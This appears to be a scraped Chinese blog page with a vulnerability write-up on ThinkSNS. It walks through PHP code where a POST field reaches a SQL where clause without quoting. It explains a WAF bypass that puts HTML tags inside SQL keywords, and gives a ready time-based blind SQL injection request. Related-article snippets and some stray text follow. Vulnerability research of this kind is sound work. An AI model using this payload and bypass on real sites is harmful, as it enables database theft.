return array 评论添加状态和提示信息
ThinkSNS漏洞系列第一弹,某处处理不当导致SQL注入
漏洞点出现在Comment Widget里:
\addons\widget\CommentWidget\CommentWidget.class.php:138
/**
* 添加评论的操作
*
* @return array 评论添加状态和提示信息
*/
public function addcomment() {
// 返回结果集默认值
$return = array (
'status' => 0,
'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data ['app'] = $data ['app_name'];
$data ['table'] = $data ['table_name'];
$data ['content'] = h ( $data ['content'] );
// 判断资源是否被删除
$dao = M ( $data ['table'] );
$idField = $dao->getPk ();
$map [$idField] = $data ['row_id'];
$sourceInfo = $dao->where ( $map )->find ();
if (! $sourceInfo) {2881064151
$return ['status'] = 0;
$return ['data'] = '内容已被删除,评论失败';
exit ( json_encode ( $return ) );
}
... ... ... ... ... ...
// 添加评论操作
$data ['comment_id'] = model ( 'Comment' )->addComment ( $data );
if ($data ['comment_id']) {
$return ['status'] = 1;
$return ['data'] = $this->parseComment ( $data );
// 同步到微吧
if ($data ['app'] == 'weiba')$this->_upateToweiba ( $data );
... ... ... ... ...
}
$_POST经过$data [$key] = t( $data [$key] )后成为$data。
然后添加评论后会根据$data['app']选择同步到哪些应用中去,比如:
// 同步到微吧
if ($data ['app'] == 'weiba')
$this->_upateToweiba ( $data );
\addons\widget\CommentWidget\CommentWidget.class.php:252:
// 同步到微吧
function _upateToweiba($data) {
$postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find ();
if (! $postDetail)
return false;
... ... ... ... ...
}
$data['row_id']进入$postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find (),两边没有单引号包围。
而$data['row_id']是前台可控的变量,来自$_POST['row_id'],so,这里就存在SQL注入了。
由于ThinkSNS前台有WAF,因此需要结合t()来绕过:
\core\OpenSociax\functions.inc.php:630
/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}
经过t()的变量都会过real_strip_tags($text):
\core\OpenSociax\functions.inc.php:2274
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}
而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。
基于时间的盲注,POST请求都要带上正确的referer。
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=weiba&table_name=user&content=test&row_id=2 a<a>nd 0=sle<a>ep(2);-- -&app_detail_summary=
return array 评论添加状态和提示信息的更多相关文章
- 为Array对象添加一个去除重复项的方法
输入例子 [false, true, undefined, null, NaN, 0, 1, {}, {}, 'a', 'a', NaN].uniq() 输出例子 [false, true, unde ...
- 取出return array() 数组内容
d.php文件 return array( "0" => 内容一, "1" => 内容二, "2" => 内容三, &qu ...
- JavaScript 评论添加练习
JavaScript 评论添加练习 本次所学内容: //var str = '<li>'+value+'</li>'; 支付串和变量的拼接 //ul.innerHTML += ...
- <?php return array(
<?php //test.php return array( 'name' => 'andy', 'sex' => 'male' ); ?> <?php $set = r ...
- ros 学习 array 的添加
array的添加,使用 arry[i]赋值时会出现段错误,需要使用array.push_back添加到数据中,在ros中array数组是以vector方式存储的. 例如: 包含数组的msg定义为: h ...
- js array 数组添加与删除数据
//新建数组 var ids =new Array(); //向数组中添加数据 ids.push(1); //删除下标为i的数组元素 ids.remove(i); //自定义删除函数: Array.p ...
- 向Array中添加归并排序
归并排序思路 1) 归并 从两个有序表R[low...mid]和R[mid+1...high],每次从左边依次取出一个数进行比较,将较小者放入tmp数组中,最后将两段中剩下的部分直接复制到tmp中. ...
- 向Array中添加堆排序
堆排序思路 堆排序是一种树形选择排序方法(注意下标是从1开始的,也就是R[1...n]). 1) 初始堆: 将原始数组调整成大根堆的方法——筛选算法:比较R[2i].R[2i+1]和R[i],将最大者 ...
- 向Array中添加选择排序
选择排序思路 在无序区中选出最小的元素,然后将它和有序区的第一个元素交换位置. 选择排序实现 Function.prototype.method = function(name, func){ thi ...
随机推荐
- html+css上传文件控件美化
html上传美化: <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...
- iOS 之图片尺寸
打包上线需要的图标 启动图片 本地需要的图标 参考 参考1:http://blog.csdn.net/kepoon/article/details/39693591 参考2:https://devel ...
- 【Java EE 学习 71 上】【数据采集系统第三天】【增加页面】【增加问题】【编辑页面,编辑问题】
增加页面和编辑页面.增加问题和编辑问题的页面使用的都是相同的页面,最后调用的方法是saveOrUpdate方法,所以只说一个就可以了. 一.增加页面 比较简单,略.流程如下: 单击“增加页”超链接-& ...
- 批量下载小说网站上的小说(python爬虫)
随便说点什么 因为在学python,所有自然而然的就掉进了爬虫这个坑里,好吧,主要是因为我觉得爬虫比较酷,才入坑的. 想想看,你可以批量自动的采集互联网上海量的资料数据,是多么令人激动啊! 所以我就被 ...
- 浅谈WEB前后端分离
重审业务逻辑 用过MVC的童鞋都知道业务逻辑(Bussiness Logic),但是大多对这概念又是模棱两可,业务逻辑从来都是这样难以理解,谈论前后端分离之前这个概念非常有必要探讨一下! 在简单的CR ...
- Linux下设置Mysql数据库编码
重装系统后,要装个mysql服务器,发现添加数据时,一直错误,查其原因,原来时编码问题.Google了一下,可都不太一样,可能时数据库版本问题吧. 查看数据库版本: select version(); ...
- Oracle“钱夹”的使用
最近几年发生了很多脱库的事件,有些时候安全不到位脱库再所避免,但是可以通过某些技术对数据库进行加密,让即使通过脱库得到的库也没法查看. 在技术层面的实现可以分为应用和数据库层. (1)通过在程序端对某 ...
- DeepLearning——CNN
工具箱下载 https://github.com/rasmusbergpalm/DeepLearnToolbox CNN_demo代码解析 http://blog.csdn.net/zouxy09/a ...
- 外接Hdmi没有声音怎么设置
参考 http://www.3lian.com/edu/2013/07-16/81152.html 在小喇叭图标上右键->播放设备->禁用HDMI
- Go语言 模板的使用(一)
使用Parse package main import ( "html/template" "net/http" ) func SayHello(w http. ...